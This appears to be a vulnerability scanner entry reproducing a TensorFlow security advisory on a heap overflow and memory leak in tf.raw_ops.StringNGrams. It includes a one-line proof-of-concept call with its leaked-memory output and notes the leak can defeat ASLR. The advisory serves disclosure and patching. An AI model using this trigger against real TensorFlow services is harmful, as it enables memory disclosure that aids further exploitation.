QID 980055: Python (pip) Security Update for tensorflow-gpu (GHSA-g7p5-5759-qv46)

Security update has been released for tensorflow-gpu,tensorflow,tensorflow-cpu to fix the vulnerability.

Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.

The `data_splits` argument of [`tf.raw_ops.StringNGrams`](https://www.tensorflow.org/api_docs/python/tf/raw_ops/StringNGrams) lacks validation. This allows a user to pass values that can cause heap overflow errors and even leak contents of memory
```python
>>> tf.raw_ops.StringNGrams(data=["aa", "bb", "cc", "dd", "ee", "ff"], data_splits=[0,8], separator=" ", ngram_widths=[3], left_pad="", right_pad="", pad_width=0, preserve_short_sequences=False)
StringNGrams(ngrams=<tf.Tensor: shape=(6,), dtype=string, numpy=
array([b'aa bb cc', b'bb cc dd', b'cc dd ee', b'dd ee ff',
b'ee ff \xf4j\xa7q\x7f\x00\x00q\x00\x00\x00\x00\x00\x00\x00\xd8\x9b~\xa8q\x7f\x00',
b'ff \xf4j\xa7q\x7f\x00\x00q\x00\x00\x00\x00\x00\x00\x00\xd8\x9b~\xa8q\x7f\x00 \x9b~\xa8q\x7f\x00\x00p\xf5j\xa7q\x7f\x00\x00H\xf8j\xa7q\x7f\x00\x00\xf0\xf3\xf7\x85q\x7f\x00\x00`}\xa6\x00\x00\x00\x00\x00`~\xa6\x00\x00\x00\x00\x00\xb0~\xeb\x9bq\x7f\x00'],...
```

All the binary strings after `ee ff` are contents from the memory stack. Since these can contain return addresses, this data leak can be used to defeat ASLR.
